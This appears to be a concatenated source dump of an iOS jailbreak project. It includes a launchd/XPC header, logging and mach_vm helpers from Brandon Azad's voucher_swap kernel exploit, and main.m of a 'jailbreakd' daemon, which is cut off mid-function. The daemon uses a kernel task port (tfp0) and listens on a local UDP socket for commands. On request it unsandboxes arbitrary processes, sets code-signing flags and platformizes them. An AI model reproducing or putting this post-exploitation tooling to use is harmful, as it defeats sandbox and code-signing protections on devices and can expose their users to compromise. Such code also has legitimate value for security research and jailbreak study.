68 | #define LAUNCH_JOBKEY_LOWPRIORITYBACKGROUNDIO "LowPriorityBackgroundIO"
69 | #define LAUNCH_JOBKEY_SESSIONCREATE "SessionCreate"
70 | #define LAUNCH_JOBKEY_STARTONMOUNT "StartOnMount"
71 | #define LAUNCH_JOBKEY_SOFTRESOURCELIMITS "SoftResourceLimits"
72 | #define LAUNCH_JOBKEY_HARDRESOURCELIMITS "HardResourceLimits"
73 | #define LAUNCH_JOBKEY_STANDARDINPATH "StandardInPath"
74 | #define LAUNCH_JOBKEY_STANDARDOUTPATH "StandardOutPath"
75 | #define LAUNCH_JOBKEY_STANDARDERRORPATH "StandardErrorPath"
76 | #define LAUNCH_JOBKEY_DEBUG "Debug"
77 | #define LAUNCH_JOBKEY_WAITFORDEBUGGER "WaitForDebugger"
78 | #define LAUNCH_JOBKEY_QUEUEDIRECTORIES "QueueDirectories"
79 | #define LAUNCH_JOBKEY_WATCHPATHS "WatchPaths"
80 | #define LAUNCH_JOBKEY_STARTINTERVAL "StartInterval"
81 | #define LAUNCH_JOBKEY_STARTCALENDARINTERVAL "StartCalendarInterval"
82 | #define LAUNCH_JOBKEY_BONJOURFDS "BonjourFDs"
83 | #define LAUNCH_JOBKEY_LASTEXITSTATUS "LastExitStatus"
84 | #define LAUNCH_JOBKEY_PID "PID"
85 | #define LAUNCH_JOBKEY_THROTTLEINTERVAL "ThrottleInterval"
86 | #define LAUNCH_JOBKEY_LAUNCHONLYONCE "LaunchOnlyOnce"
87 | #define LAUNCH_JOBKEY_ABANDONPROCESSGROUP "AbandonProcessGroup"
88 | #define LAUNCH_JOBKEY_IGNOREPROCESSGROUPATSHUTDOWN \
89 | "IgnoreProcessGroupAtShutdown"
90 | #define LAUNCH_JOBKEY_LEGACYTIMERS "LegacyTimers"
91 | #define LAUNCH_JOBKEY_ENABLEPRESSUREDEXIT "EnablePressuredExit"
92 | #define LAUNCH_JOBKEY_DRAINMESSAGESONFAILEDINIT "DrainMessagesOnFailedInit"
93 |
94 | #define LAUNCH_JOBKEY_POLICIES "Policies"
95 | #define LAUNCH_JOBKEY_ENABLETRANSACTIONS "EnableTransactions"
96 |
97 | #define LAUNCH_JOBPOLICY_DENYCREATINGOTHERJOBS "DenyCreatingOtherJobs"
98 |
99 | #define LAUNCH_JOBINETDCOMPATIBILITY_WAIT "Wait"
100 | #define LAUNCH_JOBINETDCOMPATIBILITY_INSTANCES "Instances"
101 |
102 | #define LAUNCH_JOBKEY_MACH_RESETATCLOSE "ResetAtClose"
103 | #define LAUNCH_JOBKEY_MACH_HIDEUNTILCHECKIN "HideUntilCheckIn"
104 | #define LAUNCH_JOBKEY_MACH_DRAINMESSAGESONCRASH "DrainMessagesOnCrash"
105 | #define LAUNCH_JOBKEY_MACH_PINGEVENTUPDATES "PingEventUpdates"
106 |
107 | #define LAUNCH_JOBKEY_KEEPALIVE_SUCCESSFULEXIT "SuccessfulExit"
108 | #define LAUNCH_JOBKEY_KEEPALIVE_NETWORKSTATE "NetworkState"
109 | #define LAUNCH_JOBKEY_KEEPALIVE_PATHSTATE "PathState"
110 | #define LAUNCH_JOBKEY_KEEPALIVE_OTHERJOBACTIVE "OtherJobActive"
111 | #define LAUNCH_JOBKEY_KEEPALIVE_OTHERJOBENABLED "OtherJobEnabled"
112 | #define LAUNCH_JOBKEY_KEEPALIVE_AFTERINITIALDEMAND "AfterInitialDemand"
113 | #define LAUNCH_JOBKEY_KEEPALIVE_CRASHED "Crashed"
114 |
115 | #define LAUNCH_JOBKEY_LAUNCHEVENTS "LaunchEvents"
116 |
117 | #define LAUNCH_JOBKEY_CAL_MINUTE "Minute"
118 | #define LAUNCH_JOBKEY_CAL_HOUR "Hour"
119 | #define LAUNCH_JOBKEY_CAL_DAY "Day"
120 | #define LAUNCH_JOBKEY_CAL_WEEKDAY "Weekday"
121 | #define LAUNCH_JOBKEY_CAL_MONTH "Month"
122 |
123 | #define LAUNCH_JOBKEY_RESOURCELIMIT_CORE "Core"
124 | #define LAUNCH_JOBKEY_RESOURCELIMIT_CPU "CPU"
125 | #define LAUNCH_JOBKEY_RESOURCELIMIT_DATA "Data"
126 | #define LAUNCH_JOBKEY_RESOURCELIMIT_FSIZE "FileSize"
127 | #define LAUNCH_JOBKEY_RESOURCELIMIT_MEMLOCK "MemoryLock"
128 | #define LAUNCH_JOBKEY_RESOURCELIMIT_NOFILE "NumberOfFiles"
129 | #define LAUNCH_JOBKEY_RESOURCELIMIT_NPROC "NumberOfProcesses"
130 | #define LAUNCH_JOBKEY_RESOURCELIMIT_RSS "ResidentSetSize"
131 | #define LAUNCH_JOBKEY_RESOURCELIMIT_STACK "Stack"
132 |
133 | #define LAUNCH_JOBKEY_DISABLED_MACHINETYPE "MachineType"
134 | #define LAUNCH_JOBKEY_DISABLED_MODELNAME "ModelName"
135 |
136 | #define LAUNCH_JOBSOCKETKEY_TYPE "SockType"
137 | #define LAUNCH_JOBSOCKETKEY_PASSIVE "SockPassive"
138 | #define LAUNCH_JOBSOCKETKEY_BONJOUR "Bonjour"
139 | #define LAUNCH_JOBSOCKETKEY_SECUREWITHKEY "SecureSocketWithKey"
140 | #define LAUNCH_JOBSOCKETKEY_PATHNAME "SockPathName"
141 | #define LAUNCH_JOBSOCKETKEY_PATHMODE "SockPathMode"
142 | #define LAUNCH_JOBSOCKETKEY_PATHOWNER "SockPathOwner"
143 | #define LAUNCH_JOBSOCKETKEY_PATHGROUP "SockPathGroup"
144 | #define LAUNCH_JOBSOCKETKEY_NODENAME "SockNodeName"
145 | #define LAUNCH_JOBSOCKETKEY_SERVICENAME "SockServiceName"
146 | #define LAUNCH_JOBSOCKETKEY_FAMILY "SockFamily"
147 | #define LAUNCH_JOBSOCKETKEY_PROTOCOL "SockProtocol"
148 | #define LAUNCH_JOBSOCKETKEY_MULTICASTGROUP "MulticastGroup"
149 |
150 | #define LAUNCH_JOBKEY_PROCESSTYPE "ProcessType"
151 | #define LAUNCH_KEY_PROCESSTYPE_APP "App"
152 | #define LAUNCH_KEY_PROCESSTYPE_STANDARD "Standard"
153 | #define LAUNCH_KEY_PROCESSTYPE_BACKGROUND "Background"
154 | #define LAUNCH_KEY_PROCESSTYPE_INTERACTIVE "Interactive"
155 | #define LAUNCH_KEY_PROCESSTYPE_ADAPTIVE "Adaptive"
156 |
157 | /*!
158 | * @function launch_activate_socket
159 | *
160 | * @abstract
161 | * Retrieves the file descriptors for sockets specified in the process'
162 | * launchd.plist(5).
163 | *
164 | * @param name
165 | * The name of the socket entry in the service's Sockets dictionary.
166 | *
167 | * @param fds
168 | * On return, this parameter will be populated with an array of file
169 | * descriptors. One socket can have many descriptors associated with it
170 | * depending on the characteristics of the network interfaces on the system.
171 | * The descriptors in this array are the results of calling getaddrinfo(3) with
172 | * the parameters described in launchd.plist(5).
173 | *
174 | * The caller is responsible for calling free(3) on the returned pointer.
175 | *
176 | * @param cnt
177 | * The number of file descriptor entries in the returned array.
178 | *
179 | * @result
180 | * On success, zero is returned. Otherwise, an appropriate POSIX-domain is
181 | * returned. Possible error codes are:
182 | *
183 | * ENOENT -> There was no socket of the specified name owned by the caller.
184 | * ESRCH -> The caller is not a process managed by launchd.
185 | * EALREADY -> The socket has already been activated by the caller.
186 | */
187 | __OSX_AVAILABLE_STARTING(__MAC_10_10, __IPHONE_8_0)
188 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1 OS_NONNULL2 OS_NONNULL3
189 | int
190 | launch_activate_socket(const char *name,
191 | int * _Nonnull * _Nullable fds, size_t *cnt);
192 |
193 | typedef struct _launch_data *launch_data_t;
194 | typedef void (*launch_data_dict_iterator_t)(const launch_data_t lval,
195 | const char *key, void * _Nullable ctx);
196 |
197 | typedef enum {
198 | LAUNCH_DATA_DICTIONARY = 1,
199 | LAUNCH_DATA_ARRAY,
200 | LAUNCH_DATA_FD,
201 | LAUNCH_DATA_INTEGER,
202 | LAUNCH_DATA_REAL,
203 | LAUNCH_DATA_BOOL,
204 | LAUNCH_DATA_STRING,
205 | LAUNCH_DATA_OPAQUE,
206 | LAUNCH_DATA_ERRNO,
207 | LAUNCH_DATA_MACHPORT,
208 | } launch_data_type_t;
209 |
210 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
211 | OS_EXPORT OS_MALLOC OS_WARN_RESULT
212 | launch_data_t
213 | launch_data_alloc(launch_data_type_t type);
214 |
215 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
216 | OS_EXPORT OS_MALLOC OS_WARN_RESULT OS_NONNULL1
217 | launch_data_t
218 | launch_data_copy(launch_data_t ld);
219 |
220 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
221 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1
222 | launch_data_type_t
223 | launch_data_get_type(const launch_data_t ld);
224 |
225 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
226 | OS_EXPORT OS_NONNULL1
227 | void
228 | launch_data_free(launch_data_t ld);
229 |
230 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
231 | OS_EXPORT OS_NONNULL1 OS_NONNULL2 OS_NONNULL3
232 | bool
233 | launch_data_dict_insert(launch_data_t ldict, const launch_data_t lval,
234 | const char *key);
235 |
236 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
237 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1 OS_NONNULL2
238 | launch_data_t _Nullable
239 | launch_data_dict_lookup(const launch_data_t ldict, const char *key);
240 |
241 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
242 | OS_EXPORT OS_NONNULL1 OS_NONNULL2
243 | bool
244 | launch_data_dict_remove(launch_data_t ldict, const char *key);
245 |
246 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
247 | OS_EXPORT OS_NONNULL1 OS_NONNULL2
248 | void
249 | launch_data_dict_iterate(const launch_data_t ldict,
250 | launch_data_dict_iterator_t iterator, void * _Nullable ctx);
251 |
252 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
253 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1
254 | size_t
255 | launch_data_dict_get_count(const launch_data_t ldict);
256 |
257 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
258 | OS_EXPORT OS_NONNULL1 OS_NONNULL2
259 | bool
260 | launch_data_array_set_index(launch_data_t larray, const launch_data_t lval,
261 | size_t idx);
262 |
263 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
264 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1
265 | launch_data_t
266 | launch_data_array_get_index(const launch_data_t larray, size_t idx);
267 |
268 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
269 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1
270 | size_t
271 | launch_data_array_get_count(const launch_data_t larray);
272 |
273 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
274 | OS_EXPORT OS_MALLOC OS_WARN_RESULT
275 | launch_data_t
276 | launch_data_new_fd(int fd);
277 |
278 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
279 | OS_EXPORT OS_MALLOC OS_WARN_RESULT
280 | launch_data_t
281 | launch_data_new_machport(mach_port_t val);
282 |
283 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
284 | OS_EXPORT OS_MALLOC OS_WARN_RESULT
285 | launch_data_t
286 | launch_data_new_integer(long long val);
287 |
288 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
289 | OS_EXPORT OS_MALLOC OS_WARN_RESULT
290 | launch_data_t
291 | launch_data_new_bool(bool val);
292 |
293 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
294 | OS_EXPORT OS_MALLOC OS_WARN_RESULT
295 | launch_data_t
296 | launch_data_new_real(double val);
297 |
298 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
299 | OS_EXPORT OS_MALLOC OS_WARN_RESULT
300 | launch_data_t
301 | launch_data_new_string(const char *val);
302 |
303 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
304 | OS_EXPORT OS_MALLOC OS_WARN_RESULT
305 | launch_data_t
306 | launch_data_new_opaque(const void *bytes, size_t sz);
307 |
308 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
309 | OS_EXPORT OS_NONNULL1
310 | bool
311 | launch_data_set_fd(launch_data_t ld, int fd);
312 |
313 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
314 | OS_EXPORT OS_NONNULL1
315 | bool
316 | launch_data_set_machport(launch_data_t ld, mach_port_t mp);
317 |
318 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
319 | OS_EXPORT OS_NONNULL1
320 | bool
321 | launch_data_set_integer(launch_data_t ld, long long val);
322 |
323 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
324 | OS_EXPORT OS_NONNULL1
325 | bool
326 | launch_data_set_bool(launch_data_t ld, bool val);
327 |
328 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
329 | OS_EXPORT OS_NONNULL1
330 | bool
331 | launch_data_set_real(launch_data_t ld, double val);
332 |
333 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
334 | OS_EXPORT OS_NONNULL1
335 | bool
336 | launch_data_set_string(launch_data_t ld, const char *val);
337 |
338 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
339 | OS_EXPORT OS_NONNULL1
340 | bool
341 | launch_data_set_opaque(launch_data_t ld, const void *bytes, size_t sz);
342 |
343 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
344 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1
345 | int
346 | launch_data_get_fd(const launch_data_t ld);
347 |
348 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
349 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1
350 | mach_port_t
351 | launch_data_get_machport(const launch_data_t ld);
352 |
353 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
354 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1
355 | long long
356 | launch_data_get_integer(const launch_data_t ld);
357 |
358 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
359 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1
360 | bool
361 | launch_data_get_bool(const launch_data_t ld);
362 |
363 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
364 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1
365 | double
366 | launch_data_get_real(const launch_data_t ld);
367 |
368 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
369 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1
370 | const char *
371 | launch_data_get_string(const launch_data_t ld);
372 |
373 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
374 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1
375 | void *
376 | launch_data_get_opaque(const launch_data_t ld);
377 |
378 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
379 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1
380 | size_t
381 | launch_data_get_opaque_size(const launch_data_t ld);
382 |
383 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
384 | OS_EXPORT OS_WARN_RESULT OS_NONNULL1
385 | int
386 | launch_data_get_errno(const launch_data_t ld);
387 |
388 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
389 | OS_EXPORT OS_WARN_RESULT
390 | int
391 | launch_get_fd(void);
392 |
393 | __OSX_AVAILABLE_BUT_DEPRECATED(__MAC_10_4, __MAC_10_10, __IPHONE_2_0, __IPHONE_8_0)
394 | OS_EXPORT OS_MALLOC OS_WARN_RESULT OS_NONNULL1
395 | launch_data_t
396 | launch_msg(const launch_data_t request);
397 |
398 | __END_DECLS
399 | #if __has_feature(assume_nonnull)
400 | _Pragma("clang assume_nonnull end")
401 | #endif
402 |
403 | #endif // __XPC_LAUNCH_H__
404 |
--------------------------------------------------------------------------------
/log.c:
--------------------------------------------------------------------------------
1 | /*
2 | * log.c
3 | * Brandon Azad
4 | */
5 | #include "log.h"
6 |
7 | #include
8 | #include
9 | #include
10 |
11 | void
12 | log_internal(char type, const char *format, ...) {
13 | if (log_implementation != NULL) {
14 | va_list ap;
15 | va_start(ap, format);
16 | log_implementation(type, format, ap);
17 | va_end(ap);
18 | }
19 | }
20 |
21 | // The default logging implementation prints to stderr with a nice hacker prefix.
22 | static void
23 | log_stderr(char type, const char *format, va_list ap) {
24 | char *message = NULL;
25 | vasprintf(&message, format, ap);
26 | assert(message != NULL);
27 | switch (type) {
28 | case 'D': type = 'D'; break;
29 | case 'I': type = '+'; break;
30 | case 'W': type = '!'; break;
31 | case 'E': type = '-'; break;
32 | }
33 | fprintf(stderr, "[%c] %s\n", type, message);
34 | free(message);
35 | }
36 |
37 | void (*log_implementation)(char type, const char *format, va_list ap) = log_stderr;
38 |
--------------------------------------------------------------------------------
/log.h:
--------------------------------------------------------------------------------
1 | /*
2 | * log.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__LOG_H_
6 | #define VOUCHER_SWAP__LOG_H_
7 |
8 | #include
9 | #include
10 |
11 | /*
12 | * log_implementation
13 | *
14 | * Description:
15 | * This is the log handler that will be executed when code wants to log a message. The default
16 | * implementation logs the message to stderr. Setting this value to NULL will disable all
17 | * logging. Specify a custom log handler to process log messages in another way.
18 | *
19 | * Parameters:
20 | * type A character representing the type of message that is being
21 | * logged.
22 | * format A printf-style format string describing the error message.
23 | * ap The variadic argument list for the format string.
24 | *
25 | * Log Type:
26 | * The type parameter is one of:
27 | * - D: Debug: Used for debugging messages. Set the DEBUG build variable to control debug
28 | * verbosity.
29 | * - I: Info: Used to convey general information about the exploit or its progress.
30 | * - W: Warning: Used to indicate that an unusual but possibly recoverable condition was
31 | * encountered.
32 | * - E: Error: Used to indicate that an unrecoverable error was encountered. The code
33 | * might continue running after an error was encountered, but it probably will
34 | * not succeed.
35 | */
36 | extern void (*log_implementation)(char type, const char *format, va_list ap);
37 |
38 | #define DEBUG_LEVEL(level) (DEBUG && level <= DEBUG)
39 |
40 | #if DEBUG
41 | #define DEBUG_TRACE(level, fmt, ...) \
42 | do { \
43 | if (DEBUG_LEVEL(level)) { \
44 | log_internal('D', fmt, ##__VA_ARGS__); \
45 | } \
46 | } while (0)
47 | #else
48 | #define DEBUG_TRACE(level, fmt, ...) do {} while (0)
49 | #endif
50 | #define INFO(fmt, ...) log_internal('I', fmt, ##__VA_ARGS__)
51 | #define WARNING(fmt, ...) log_internal('W', fmt, ##__VA_ARGS__)
52 | #define ERROR(fmt, ...) log_internal('E', fmt, ##__VA_ARGS__)
53 |
54 | // A function to call the logging implementation.
55 | void log_internal(char type, const char *format, ...) __printflike(2, 3);
56 |
57 | #endif
58 |
--------------------------------------------------------------------------------
/mach_vm.h:
--------------------------------------------------------------------------------
1 | /*
2 | * mach_vm.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__MACH_VM_H_
6 | #define VOUCHER_SWAP__MACH_VM_H_
7 |
8 | #include
9 |
10 | extern
11 | kern_return_t mach_vm_allocate
12 | (
13 | vm_map_t target,
14 | mach_vm_address_t *address,
15 | mach_vm_size_t size,
16 | int flags
17 | );
18 |
19 | extern
20 | kern_return_t mach_vm_deallocate
21 | (
22 | vm_map_t target,
23 | mach_vm_address_t address,
24 | mach_vm_size_t size
25 | );
26 |
27 | extern
28 | kern_return_t mach_vm_write
29 | (
30 | vm_map_t target_task,
31 | mach_vm_address_t address,
32 | vm_offset_t data,
33 | mach_msg_type_number_t dataCnt
34 | );
35 |
36 | extern
37 | kern_return_t mach_vm_read_overwrite
38 | (
39 | vm_map_t target_task,
40 | mach_vm_address_t address,
41 | mach_vm_size_t size,
42 | mach_vm_address_t data,
43 | mach_vm_size_t *outsize
44 | );
45 |
46 | #endif
47 |
--------------------------------------------------------------------------------
/main.m:
--------------------------------------------------------------------------------
1 | #import
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include "patchfinder64.h"
14 | #include "kern_utils.h"
15 | #include "kmem.h"
16 | #include "kexecute.h"
17 | #include "kernel_call.h"
18 | #include "parameters.h"
19 | #include "kernel_memory.h"
20 | #include "offsets.h"
21 |
22 | #define PROC_PIDPATHINFO_MAXSIZE (4*MAXPATHLEN)
23 | int proc_pidpath(pid_t pid, void *buffer, uint32_t buffersize);
24 |
25 | #define JAILBREAKD_COMMAND_ENTITLE 1
26 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT 2
27 | #define JAILBREAKD_COMMAND_ENTITLE_PLATFORMIZE 3
28 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_AFTER_DELAY 4
29 | #define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY 5
30 | #define JAILBREAKD_COMMAND_FIXUP_SETUID 6
31 | #define JAILBREAKD_COMMAND_UNSANDBOX 7
32 | #define JAILBREAKD_COMMAND_FIXUP_DYLIB 8
33 | #define JAILBREAKD_COMMAND_FIXUP_EXECUTABLE 9
34 | #define JAILBREAKD_COMMAND_EXIT 13
35 |
36 | struct __attribute__((__packed__)) JAILBREAKD_PACKET {
37 | uint8_t Command;
38 | };
39 |
40 | struct __attribute__((__packed__)) JAILBREAKD_ENTITLE_PID {
41 | uint8_t Command;
42 | int32_t Pid;
43 | };
44 |
45 | struct __attribute__((__packed__)) JAILBREAKD_ENTITLE_PID_AND_SIGCONT {
46 | uint8_t Command;
47 | int32_t Pid;
48 | };
49 |
50 | struct __attribute__((__packed__)) JAILBREAKD_FIXUP_SETUID {
51 | uint8_t Command;
52 | int32_t Pid;
53 | };
54 |
55 | struct __attribute__((__packed__)) JAILBREAKD_UNSANDBOX {
56 | uint8_t Command;
57 | int32_t Pid;
58 | };
59 |
60 | struct __attribute__((__packed__)) JAILBREAKD_FIXUP_DYLIB {
61 | uint8_t Command;
62 | char dylib[1024];
63 | };
64 |
65 | struct __attribute__((__packed__)) JAILBREAKD_FIXUP_EXECUTABLE {
66 | uint8_t Command;
67 | char exec[1024];
68 | };
69 |
70 | struct __attribute__((__packed__)) JAILBREAKD_ENTITLE_PLATFORMIZE_PID {
71 | uint8_t Command;
72 | int32_t EntitlePID;
73 | int32_t PlatformizePID;
74 | };
75 |
76 | mach_port_t tfpzero;
77 | uint64_t kernel_base;
78 | uint64_t kernel_slide;
79 | struct offsets off;
80 |
81 | extern unsigned offsetof_ip_kobject;
82 |
83 | int runserver(){
84 | NSLog(@"[jailbreakd] Process Start!");
85 |
86 | kern_return_t err = host_get_special_port(mach_host_self(), HOST_LOCAL_NODE, 4, &tfpzero);
87 | if (err != KERN_SUCCESS) {
88 | NSLog(@"host_get_special_port 4: %s", mach_error_string(err));
89 | return 5;
90 | }
91 |
92 | bzero(&off, sizeof(struct offsets));
93 |
94 | if(getOffsetsFromFile("/var/containers/Bundle/tweaksupport/offsets.data", &off)) {
95 | NSLog(@"[jailbreakd] Failed to get offsets!");
96 | exit(-1);
97 | }
98 |
99 | // Get the slide
100 | kernel_base = off.kernel_base;
101 | kernel_slide = kernel_base - 0xFFFFFFF007004000;
102 | NSLog(@"[jailbreakd] slide: 0x%016llx", kernel_slide);
103 |
104 | // init_kexecute();
105 |
106 | parameters_init();
107 |
108 | kernel_call_init();
109 |
110 | struct sockaddr_in serveraddr; /* server's addr */
111 | struct sockaddr_in clientaddr; /* client addr */
112 |
113 | NSLog(@"[jailbreakd] Running server...");
114 | int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
115 | if (sockfd < 0)
116 | NSLog(@"[jailbreakd] Error opening socket");
117 | int optval = 1;
118 | setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (const void *)&optval, sizeof(int));
119 |
120 | struct hostent *server;
121 | char *hostname = "127.0.0.1";
122 | /* gethostbyname: get the server's DNS entry */
123 | server = gethostbyname(hostname);
124 | if (server == NULL) {
125 | NSLog(@"[jailbreakd] ERROR, no such host as %s", hostname);
126 | exit(0);
127 | }
128 |
129 | bzero((char *) &serveraddr, sizeof(serveraddr));
130 | serveraddr.sin_family = AF_INET;
131 | //serveraddr.sin_addr.s_addr = htonl(INADDR_ANY);
132 | bcopy((char *)server->h_addr,
133 | (char *)&serveraddr.sin_addr.s_addr, server->h_length);
134 | serveraddr.sin_port = htons((unsigned short)5);
135 |
136 | if (bind(sockfd, (struct sockaddr *)&serveraddr, sizeof(serveraddr)) < 0){
137 | NSLog(@"[jailbreakd] Error binding...");
138 | // term_kexecute();
139 | kernel_call_deinit();
140 | exit(-1);
141 | }
142 | NSLog(@"[jailbreakd] Server running!");
143 |
144 | unlink("/var/tmp/jailbreakd.pid");
145 |
146 | FILE *f = fopen("/var/tmp/jailbreakd.pid", "w");
147 | fprintf(f, "%d\n", getpid());
148 | fclose(f);
149 |
150 | char buf[2000];
151 |
152 | socklen_t clientlen = sizeof(clientaddr);
153 | while (1){
154 | bzero(buf, 2000);
155 | int size = recvfrom(sockfd, buf, 2000, 0, (struct sockaddr *)&clientaddr, &clientlen);
156 | if (size < 0){
157 | NSLog(@"Error in recvfrom");
158 | continue;
159 | }
160 | if (size < 1){
161 | NSLog(@"Packet must have at least 1 byte");
162 | continue;
163 | }
164 | NSLog(@"Server received %d bytes.", size);
165 |
166 | uint8_t command = buf[0];
167 |
168 | NSLog(@"Command: %ul\n", command);
169 |
170 | if (command == JAILBREAKD_COMMAND_UNSANDBOX){
171 | if (size < sizeof(struct JAILBREAKD_UNSANDBOX)){
172 | NSLog(@"Error: ENTITLE packet is too small");
173 | continue;
174 | }
175 | struct JAILBREAKD_UNSANDBOX *entitlePacket = (struct JAILBREAKD_UNSANDBOX *)buf;
176 | NSLog(@"Unsandboxing PID %d", entitlePacket->Pid);
177 | unsandbox(entitlePacket->Pid);
178 | }
179 |
180 | else if (command == JAILBREAKD_COMMAND_ENTITLE){
181 | if (size < sizeof(struct JAILBREAKD_ENTITLE_PID)){
182 | NSLog(@"Error: ENTITLE packet is too small");
183 | continue;
184 | }
185 | struct JAILBREAKD_ENTITLE_PID *entitlePacket = (struct JAILBREAKD_ENTITLE_PID *)buf;
186 | NSLog(@"Entitle PID %d", entitlePacket->Pid);
187 | setcsflagsandplatformize(entitlePacket->Pid);
188 | }
189 |
190 | else if (command == JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT){
191 | if (size < sizeof(struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT)){
192 | NSLog(@"Error: ENTITLE_SIGCONT packet is too small");
193 | continue;
194 | }
195 | struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT *entitleSIGCONTPacket = (struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT *)buf;
196 | NSLog(@"Entitle+SIGCONT PID %d", entitleSIGCONTPacket->Pid);
197 | setcsflagsandplatformize(entitleSIGCONTPacket->Pid);
198 | kill(entitleSIGCONTPacket->Pid, SIGCONT);
199 | }
200 |
201 | else if (command == JAILBREAKD_COMMAND_ENTITLE_PLATFORMIZE){
202 | if (size < sizeof(struct JAILBREAKD_ENTITLE_PLATFORMIZE_PID)){
203 | NSLog(@"Error: ENTITLE_PLATFORMIZE packet is too small");
